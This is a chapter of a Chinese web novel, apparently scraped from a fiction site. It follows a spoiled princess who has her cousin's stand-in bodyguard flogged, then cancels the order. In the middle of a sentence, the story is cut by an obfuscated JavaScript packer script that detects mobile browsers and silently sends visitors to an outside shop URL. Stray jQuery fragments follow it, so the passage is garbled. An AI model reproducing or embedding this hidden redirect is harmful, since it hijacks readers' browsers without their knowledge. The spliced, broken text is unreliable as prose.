文趣网 > 都市小说 > 把白月光的兄弟当替身后 > 8. 第 8 章
    朱笔蘸饱了墨,沈舒窈将手高高抬起,提笔挥洒。

    淮南路远,云知凛一行人尚未抵达。

    沈舒窈要保证,云知凛在抵达异乡的第一时间收到她的思念之情。

    她写了一封又一封,满字的信笺如雪花片堆在桌面上,密密麻麻。

    她要最终送出去的那一封是自己的行文的巅峰水平,不然放到文辞斐然的云知凛眼里一定不能看。

    可她不爱吃苦,无论女傅怎样教她她都不耐心听,只学了基础的识文断字,写文章的平仄对偶可谓一窍不通。

    书到用时方恨少,沈舒窈此时就是这么个窘迫的处境。

    她的字迹未经刻苦练习,再加上长时间不动笔,拿着笔的手指抖得像被筷子夹住的软面条,写出来的字迹歪歪扭扭,远观起来,真不如撒把米让鸡啄。

    沈舒窈越写越觉得难看,没多久就崩溃大叫一声,将信纸揉成一团,狠狠掷出去。

    但当又一张白纸平铺到她面前时,她脑中空空,又要命宫女将纸团捡回桌面,摆在眼前,对照着写。

    就这样磨磨蹭蹭挨到入夜,那封信总算凑凑合合写完了,心力憔悴的沈舒窈在众宫女的服侍下歇下。

    然而次日晨起醒来,沈舒窈瞥见桌边那张自己写的信笺,顿觉措辞蠢笨矫作,满脸嫌恶地揉成一团,扔到一边,早膳也顾不得吃,坐到桌前拿起笔。

    功夫不负有心人,半个月后,云知凛将要抵达淮南之时,沈舒窈千辛万苦,终于折腾出一封还算看得过眼的信,盛至锦盒中,差小黄门送往驿传。

    这封信被送到了千里之外的云知凛手中,他看也未看,连同锦盒一同抛至一旁。

    这样的书信在云知凛于淮南赈灾的三个月期间还有很多,他都将其放至一处,盒子堆得房间逐渐放不下,云知凛便叫人扔到一个空房间去,离开时并没有带走。

    或许是故意,亦或者是无暇顾及。

    他在淮南经历了一场刺杀,褚越作为替身并没有起到应有的作用,刺客识别出他的身份,用一把长剑刺进他的胸口。

    好在他学过一点武,反应足够及时,这才避开了要害。

    但这伤也让他足足休养了两个月,才启程回京。

    这一耽搁,让沈舒窈再到他时,已是半年后。

    天还未明,沈舒窈便起床梳洗打扮,穿一身最最亮眼的棠色华衣,腰环金玉带,头挽凌云髻,遍插赤金点翠珠钗,熬红一双眼,在宫道旁迎接云知凛。

    可惜云知凛并没有停下车架。

    一队人马整齐有素,训练划一,比离开时规训许多,也消瘦许多,外面行走的几个侍从能明显看到颧骨下方的脸颊上的肉凹陷下去,眼窝轮廓也凸了出来,活像遭受了一场非人折磨。

    “表哥!”沈舒窈撕心裂肺一声叫,马车半分不停,甚至还不留情面地加快了些,沈舒窈追了两步,怔怔看着云知凛离去的方向。

    云知凛能不顾及公主的颜面,其他人却不能,队伍中间一辆马车停下来,后面的也不好正大光明越过去,都跟着被迫停下。

    最前那辆马车上下来一人,一袭白衣,手中拿着一个极为精巧的描金匣子。

    他身形颀长,眉眼微微上挑,是最俊俏不过的丹凤眼,虽然其他人看起来落魄憔悴,他却神采奕奕,一看见沈舒窈,眼眸抬起,眼睛亮如晨星,似乎将周围都照亮了几分。

    他将匣子缓缓递到沈舒窈面前,轻声道:“殿下。”

    话刚出口,便挨了清脆的一巴掌。

    褚越错愕地看向沈舒窈,只见她泪眼朦胧,眼尾泛红,开口便是一句厉声责问:“为什么表哥受伤了?你不是替身吗?为什么没护他周全?”

    褚越沉默良久,道:“我们之中有内贼,我的身份被人识破了,那刺客夜间藏于房梁之上,趁临川王独自一人就寝之时发难,我们一时之间都来不及。”

    这话早在他们回来之前,沈舒窈便从小黄门口中听过,当时摔碎整张桌子上的玉器瓷盏。

    可再听一遍,还是心如刀割,内心疼痛与愤懑无处宣泄,扬手又是一巴掌。

    “那刺客呢?我要将他活剐了。”

    褚越低垂着头,声音也压得极低,似乎一阵风刮过,就能将之吹走了。

    “刺客已经处死,就地掩埋,路途遥远,不方便带回。”

    沈舒窈紧咬着牙关看向褚越:“我说过,表哥少了一根头发丝,我便唯你是问!”

    褚越的头更低了,手中匣子仿若沉重万分,他弯下身,缓缓放于地面,沈舒窈一招手:“杖毙。”

    随即便有两个绿衣小太监上来,将褚越拖走。

    木匣孤零零的摆在地面,看起来极其碍事,沈舒窈踢了一脚,听里面哗啦哗啦作响,问春桃道:“里面是什么?”

    春桃将其拾起打开,一道绿色的光立马射了出来。

    沈舒窈探头,见是一个翠绿色的玉手镯,成色极好,但比起沈舒窈私藏的那些,还是逊色多了。

    沈舒窈撇了撇嘴:“他眼光真差。”

    因她方才那一脚,玉手镯撞在匣壁上,已经隐隐有了一道裂痕。

    春桃见沈舒窈兴致缺缺,始终没有收回成命的意思,心急如焚,终是忍不住,开口道:“公主,褚越一心为公主……”

    沈舒窈打断道:“你要是为他求情,那就算了。”

    “不是求情,只是褚越已经是临川王的人,公主若是这样杖毙了他,临川王追究下来,一定会责怪公主。”

    沈舒窈脸色一白,道:“你怎么不早点提醒我,快把人叫回来!”

    春桃撒开步伐,也不管规不规矩,转瞬消失在拐角。

    皇宫里要一个人死十分容易,杖毙已是其中最不容易的那种死法,经常有人在里面做文章,打个上百棍都活蹦乱跳。

    但那些活下来的人都是按照上面心意,既然确定是尊贵无比的明昭公主要褚越死,那十几棍下去,他也差不多见阎王了,各个都想早点打完休息。

    褚越一声不吭,他被人拉到板凳上,宿卫队主好心在他耳边道:“你还有什么遗言吗?”

    见他不理,宿卫队主自顾自叹了一口气:“不知道你是怎么得罪了明昭公主,在大盛,她是最不能得罪的那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861246|212005||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    位,我也是听令行事,你做鬼不要来找咱。”

    以往听他说到这里的人,不是大哭大叫,就是大喊冤枉,叫各种大人物的名字,求再见他们一面;或者叫他们去传话,求上面回心转意;再不济就是诅咒发誓,怎么恶毒怎么来。

    唯独褚越始终一言不发,实在罕见。

    也是个硬气的,宿卫队主想,只是不知这杖落到身上还会不会这样。

    他不再多言,抬头高声道:“行刑!”

    嘭——

    刑杖打到人身上发出闷响,褚越脸色白了白,十杖之后,他口鼻渗血,眼前视物模糊,明明什么都看不清,但还是死死撑着眼皮,紧紧盯着入口处的方向,终于,他等到了一个宫女的身影。

    褚越如今身上没一块好肉,疼得似乎都不是自己的了,饶是如此,他唇角还是微微向上勾起,似是确认了什么。

    听到春桃急匆匆喊“住手”,他才肯偏过头昏过去。

    等到褚越再醒来时,满口苦涩,房间里飘着一股好闻的药香。

    他看到熟悉的青灰色素纱帐,身旁坐着一个青色衣服的宫女,见他清醒,慌慌忙忙出门。

    “褚越醒了,快找李太医来!”

    没过多久,便响起不紧不慢的脚步声。

    一人踏入房间,来到床榻前,让褚越半侧过身,在他身上左按按,右按按,舒展开一个笑颜,那眯缝着的双眼更看不见了,他道:“没什么大事,多修养一段时间。”

    此人正是太医署的李微,这话他不久前他也对褚越说过,可惜没起到它该有的作用。

    褚越在能下地的第二天,便因着明昭公主的命令,跟随云知凛远行到淮南。

    好在他练武,身体底子好,不然这一番折腾早死在车马颠簸当中。

    沈舒窈没过多久便出现在门口,这房间早就焕然一新,铺满了软毯锦榻,中央架起具铜炉,点了熏香,俨然从一个下人房升级成主人房。

    沈舒窈站在他床前,眉梢犹自挑着,看起来余怒未消,左右四顾:“我就说他没什么大事,你们又在吓唬我!我以前听说有人受了一百杖都没事,他才挨了几下?”

    李微拱着手道:“那日的凶险情形公主也瞧见了,做不得半分假,寻常人十杖下去,早已一脚踏进鬼门关,那些挨了百杖不死的,都是假把式。”

    原本宫里有些阴私是不适合拿到台面上说的,可惜小公主不知是天真还是单纯,连这些道理也不知晓,吩咐下去没个轻重,李微竟不怕说这些得罪了谁,给他招惹来麻烦,笑眯眯提醒道:“往后殿下若要行罚,还望三思,人命脆弱,微臣不是次次都能将人救回。”

    “那你也太没用!”沈舒窈脱口道。

    她总觉李微同她说话时少了些什么,让她在他面前总有种矮一头的错觉。

    李微瞧出了沈舒窈的色厉内荏,只笑了笑:“是臣无用。”

    送走了李太医,沈舒窈似是也有些懊悔,站在房间里,面对清醒的褚越不知道说些什么。

    还是褚越率先开口,目光灼灼地盯着沈舒窈:“殿下答应我的事情还作数吗?”